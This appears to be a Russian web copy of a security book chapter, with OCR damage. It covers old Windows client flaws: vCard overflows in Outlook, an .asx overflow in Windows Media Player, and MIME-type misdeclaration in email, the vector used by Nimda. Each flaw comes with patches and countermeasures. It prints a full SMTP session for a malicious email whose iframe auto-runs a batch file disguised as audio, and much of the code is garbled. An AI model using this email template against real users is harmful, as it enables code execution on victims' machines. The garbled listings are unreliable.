На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Защита от переполнения буфера в программе конвертера HTML-данных

Бюллетень

MS03-023


BID
8016

1
Исправлено в SP
Windows 2000 SP5, ХР


SP 2 Server 200SSP1


Фиксируется
Нет


Как всегда, используем заплату. Профилактической мерой защиты является применение набора настроек IEESC (или подобных) для браузера Internet Explorer, что предотвратит автоматический запуск HTML-кода и сценариев, т.е. блокирует атаку.
Переполнение буфера файла vCard в программах Outlook/OE

Популярность
7


Простота
2


Опасность
10


Степень риска
6

Первым эту ошибку переполнения буфера в компоненте программы Internet Explorer обнаружил Джоел Мозес (Joel Moses), она возникает при открытии файлов-визитных карточек vCard, у которых определенные поля содержат большое количество текстовых данных. Файлы vCard стали принятым форматом электронной визитной карточки в 1996 году, а стандартом RFC стали в 1998 году (см. раздел "Дополнительная литература и ссылки в конце главы"). Файлы vCard имеют расширение . vcf. Поскольку при чтении информации из файла vCard должно быть проанализировано огромное количество различных полей данных, такие файлы стали весьма подходящей це­лью для создания условий переполнения буфера.
Хотя для проведения атаки получатель должен явным образом открыть файл VCard, но так как это общеизвестный формат для обмена личными данными, вряд ли кто-то засомневается в безопасности этого файла. По умолчанию программа Outlook не запрашивает у пользователя разрешение перед открытием файла vCard из вложения в письмо, если только не было установлено обновление Office Security Update. При открытии файлов .vcf с диска разрешение не запрашивается никогда.
Файлы vCard имеют достаточно простую структуру, которая показана в следующем примере визитной карточки "John Doe.vcf" (для краткости мы удалили многие необязательные поля файла).
BEGIN:VCARD VERSIONS.1

N:Doe,John
EN:John Doe
ORG:ACME, Inc.
TITLE:Vice President
TEL:WORK;VOICE:555-555-1212
ADR;WORK:;;1 Fantasy Lane;Beverly Hills;CA;90210 EMAIL;PREF;INTERNET:jd@fake.adr REV:20010328T15273Q2 END:VCARD
Если, длина необязательного поля BDAY (день рождения) превышает 55 символов, то в результате открытия файла программа Outlook завершит работу И произойдет переполнение буфера. Наличие поля EMAIL с большим объемом текстовой информации приводит к тем же результатам, а заполненное длинной текстовой строкой поле Н (имя) заставляет программу Outlook использовать 99 % ресурсов центрального процессора системы. Вероятно, основная проблема состоит в адресной книге, которая "захлебывается", если пытается импортировать слишком большое поле из файла vCard. Вызвать атаку можно и копированием вредоносного файла-визитки в папку Contacts (Контакты) программ Outlook/Outlook Express, открыв его через проводник (Windows Explorer), а также открыв атоженную плперссылку с Web-слраницы или из письма электронной почты. <а href-"http : //www.inalicious-site .com/vcard.vcf">Cool f ile</a>
Олли Вайтхауз (Ollic Whitehouse) для доказательства представленной теории создал код, который сохраняет список файлов текущего каталога в файл С: \ ! outlook!. Код был создан для работы на системе Windows NT Service Pack. 6a, но также доступен код И для Windows 2000.
файлов vCard

Бюллетень
MS0I-O12

BID
2459

Исправлено в SP
IE5.5SP2

Фиксируется
Нет



при чтении файлов vCard — не открывать

файлы, полученные по электронной почте, даже если кажется, что они пришли от пользователей, которым вы доверяете. И даже в тех случаях, когда файлы выглядят, как безобидные визитные карточки.
Для исправления проблем с проверкой буфера обратитесь к статье MS01-012 (см. раздел "Дополнительная литература и ссылки" в конце главы). Эта заплата на самом деле касается компонента программы IE, а не самой операционной системы Windows 2000.
Переполнение буфера при чтении файлов . asx в программе Windows Media Player

Популярность
3


Простота
2


Опасность
10


Степень риска
5

Чтобы показать, какие возможности даст хакеру сеть, когда дело касается клиентских приложений, мы рассмотрим уязвимое место с возможностью переполнения буфера в про-
грамме, которая не является ни браузером, ни клиентом электронной почты. Это программа Windows Media Player (WMP, интегрированная в операционную систему Windows 2000 (с Windows 2000 Gold устанавливается версия программы 6.4, а описываемое уязвимое место присутствует и в программах версий 7jc).
В основе рассматриваемого уязвимого места лежит способ анализа потоковых медиа-файлов с расширением .asx. Файлы .asx относятся к одному из трех типов метафайлов Windows Media, это просто текстовые файлы, которые действуют как ссылки с WcD-страниц на данные Windows Media, расположенные на удаленном сервере. Основная задача метафайла — перенаправление потоковых данных из браузеров (которые обычно не могут правильно обработать эти данные) в программу WMP. Метафайл Windows Media содержит информацию на языке типа XML (Extensible Markup Language). Эту информацию может интерпретировать только программа WMP, но такие файлы легко править в текстовом редакторе. Простейший метафайл содержит . адрес URL некоторых мультимедиа-данных на сервере, но файл может быть и сложнее. Ниже представлен пример простого метафайла Windows Media.

<ASX version="3.0"> <Entry>
<ref HREF=-Path"/> '
Замените строку Path на адрес URL или путь к файлу с данными Windows Media, например, file: / /с: \path\filename. asx ИЛИ http: / /server/path/filename .asx.
Уязвимое место заключается в следующем: при просмотре в проводнике (Windows Explorer) файла . asx со слишком длинным значением Path проводник аварийно завершает работу, пытаясь включить предварительный просмотр потокового медиа-файла, указанного в Path. Если значение Pa tft "правильно" дополнить исполняемым кодом, то можно выполнить на удаленном компьютере любые команды. Олли Вайтхауз написал программу атаки, которая реализует такой трюк на системе Windows 2000 (SP1) с библиотекой MSVCRT. DLL v6 .1.8637. Программа атаки является платформе нно-завис и мой, поскольку стек процессора на разных платформах работает по-разному, хотя мы успешно протестировали упомянутую программу атаки на системе Windows 2000 Gold. Когда работа проводника аварийно завершается, исчезают и через некоторое время снова появляются пиктограммы рабочего стола и панели задач. По милости Олли, программа атаки лишь записывает в файл С;\ i test! список файлов рабочего каталога, но какой-нибудь менее благородный программистна ассемблере может создать и значительно более опасную программу.
Из всего вышесказанного видно, насколько тесно компания Microsoft интегрирует клиенты, такие как IE, ОЕ и WMP с операционной системой, когда даже отдельные приложения, например, программа Outlook, основаны на базовых компонентах системы, таких как механизм 1Е. Следовательно, даже после установки самого последнего пакета обновления, вполне невинная на вид программа вроде WM Р может стать проблемой, если будет запущена после выбора файла в проводнике. Более того, поскольку большинство клиент-серверных технологий, подобных метафайлам для программы WMP, работают на коде ASCII (считайте, на языках HTML, XML, на протоколе HTTP), даже далеким от программирования людям становится элементарно просто обнаружить переполнения буфера и другие условия, с помощью которых можно добиться результата, аналогичного переполнению буфера значением Pa th. В Web становится все опасней!

-


Меры противодействия переполнению буфера при чтении файлов . asx



Бюллетень
MS00-090


BID
1980


Исправлено eSP
3?


Фиксируется
Нет


Как и в случае с переполнением буфера файлами vCard, не загружайте неизвестные и ненужные файлы из Internet. Установите исправление из бюллетеня MSOO-090 (ссылка URL приведена в разделе "Дополнительная литература и ссылки" в конце главы).
Кроме того, учитывая, что программа атаки работает только при предварительном просмотре файлов . asx через проводник, рекомендуется отключить функцию предварительного просмотра. Для этого откройте окно проводника, выберите пункт меню То о ls<^ Folder Options (Сервис*Свойства папки), а затем для параметра Active Desktop (Задачи) выберите значение Use Windows Classic Desktop (Использовать обычные папки Windows), как показано на 1. Нужно ли обязательно говорить, что переключатель Click Item as Follows {Щелчки мышью) следует установить в значение Double-Click to Open (Открывать двойным, а выделять одним щелчком)?
Если, путешествуя по Internet, вы встретите метафайл Windows Media подозрительно большого размера (созданная Олли программа атаки имеет размер 66 Кбайт, что слишком много для простого текста XML), не открывайте его. Скорее всего, в значении Path такого файла установлена "мина".
НА ЗАМЕТКУ
Исправление, указанное в статье MS0O-Q9O, таюке испрааляет еще одно уязвимое место программы WMP, "выполнение сценариев ,wms". Эта уязвимое место позволяет выполнять сценарии, внедренные в файлы обложки (skin) с расширением .wrns программы WMP при запуске программы с выбранной об-пожкой, которая содержит вредоносный код.
Выполнение команд
Переполнение буфера — это очень эффективный механизм взлома удаленной системы, но существуют и встроенные в программы функции выполнения кода на атакуемой системе! Благодаря разнообразию компонентов и функций современных клиентских программ для Internet, обнаружить и использовать такие возможности стало относительно просто. Среди классических примеров — проблема с флагом "Safe for scripting"' для элементов управления ActiveX, которую обнаружили Георгий Гунински (Georgi Gunninski) и Ричард Смит (Richard Smith), реализация баз данных Access и выполнение кода VBA из программы IE 5 (также обнаруженные Георгием Гунински). В данном разделе будут описаны наиболее важные из современных уязвимых мест такого типа.
Выполнение данных MIME
Популярность
6

Простота
8

Опасность
10

Степень риска
8

Эту проблему обнаружил аналитик системы безопасности программы IE Хуан Карлос Гарсия Куартанго (Juan Carlos Garcia Cuartango), Неприятности возникают при использовании HTML-тега i frame и специального вложения в письмо электронной почты. Аналогичное применение тега iframe для выполнения вложении электронной почты с использованием параметра MIME Content-ID продемонстрировал Георгий Гунински (Georgi Gunninski) в статье Ns9 за 2000 год, кроме того, этот вопрос описан в книге Секреты хакеров. Безопасность сетей — готовые решения, чет-ввертое издание. Хуан Карлос обнаружил, что исполняемые типы файлов могут запускаться автоматически в программе Internet Explorer или при просмотре сообщений электронной почты в формате HTML, если ихтлп MIME указан неверно. Еще хуже, что неверное обозначение типа MIME помогает обходить фильтры содержимого электронной почты.
НА ЗАМЕТКУ
Эта ошибка была использована для распространения "червя" Nimda.
Хуан Карлос представил на своем Web-сайте http: / /v^njw.Kriptopolis . com три примера использования описанного метода. Ниже приведен один из вариантов, в котором командный файл hello.bat определен как аудиофайл. Мы изменили код Хуана Карлоса, поместив его во вредоносное почтовое сообщение для отправки серверу SMTP (2).
helo somedomain.com
mail from: mallory@attacker.com
rcpt Co: hapless@victim.nat
data
Subject: Is Your Outlook Configured Securely? Date: Thu, 2 Nov 2000 13:27:33 +0100 MIME-Version: 1.0 Content-Type: multipart/related;
type="multipart/alternative";
boundary="l* X-Priority: 3 X-MSMail-Priority: High X-Unsent: 1
--1
Content-Type: multipart/alternative; boundary="2'
--2
Content-Type: Cext/titml; charset="iso-8859-l"
Content-Transfer-Encoding: quoted-printable
<HTML> <HEADS </READ>
<B0DY bgColor=3D#ffffff>
<iframe erc=3Dcid:THE-CTD h.«ight=3D0 width=3D0x/ifrsmt»
If secure, you will get prompted for file download now. Cancel.<BR> If not, I will now execute some commands...<BR> </B0DY> <I HTML*
—2 —
—1
Concent-Type: audio/х-wav,-
□аню =" h e 11 о. ba t" Content-Transfer-Encoding: guoted-printable Content-ID: <THE-CID>
echo OFF dir C:\
echo YOUR SYSTEM HAS A VULNERABILITY
pause
~1
Обратите внимание на поле Content-ID данных MIME с обозначением грантш boundary=l на строке 41 приведенного листинга; это поле имеет значение <ТНЕ-С1Е>. На поле Content-iD есть ссылка в теге IFRAME, который расположен в основном теле письма (часть 2 данных MIME) на строке 29 (эти строки выделены жирным шрифтом). Во время предварительного просмотра сообщения в программах Outlook/Outlook Express обрабатывается тег IFRAME, что приводит к запуску указанной части данных MIME, которая содержит простой командный сценарий, выводящий на консоль показанное ниже предупреждение.
C:\Oocursents end Settings\ftd5iiriistrator>echa OFF Volume in drive С has no label. Volume Serial Number is 9498-F822

Directory of C:\
04/17/2001 Й4/03/20В1 34/88/2801 34/17/2001 84/17/2001 04/16/2901
03:16a 05:46p 02:59p 93:11a 03:14a 09:43p
<QIR> <DIR>
<мв>
<DIR> <DIR>
1 Filets)
5 Dir(s) 44.689,059,840 bytes free YOUR SVSTEH HAS Я VULNERRBILITV Press any key to continue . . .
620 fiest!
Documents ar Ineipiib Progran File test WIHNT 620 bytes
J.

Хуан Карлос предоставил примеры программ для Win32 и VBS, которые используют данное уязвимое место. Чтобы создать такое письмо, нужно вставить соответствующий код в раздел данных МГМЕ, определенный как <THE-CID>. Описанную атаку можно реализовать и с помощью Web-страницы, размещенной на сервере. В любом случае, это очень опасное уязвимое место, поскольку оно позволяет хакеру выполнить свой код на атакуемой системе с помощью отправленного по электронной почте письма.
Q Защита от запуска расширений MIME


Бюллетень
MS01-020

BID
2524

Исправлено в SP
2

Фиксируется
Нет


В данном случае на некоторое время может помочь заплата из бюллетеня компании Microsoft MS01-020, которая изменяет метод обработки программой Internet Explorer некоторых необычных типов MIME, внедренных в текст HTML. После внесения исправлений программа iE запрашивает разрешение на загрузку файла, а не автоматически запускает такие данные MIME.
Чтобы основательно защититься от подобных атак, необходимо настроить программы Outlook/Outlook Express на максимально безопасное чтение почты. В частности, если опция File Download (Загрузка файла) для зоны безопасности (Security Zone), в которой происходит чтение почты, выключена, то программа атаки будет бесполезной. Зоны безопасности программы IE описаны в следующем разделе "Общие меры противодействия".

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика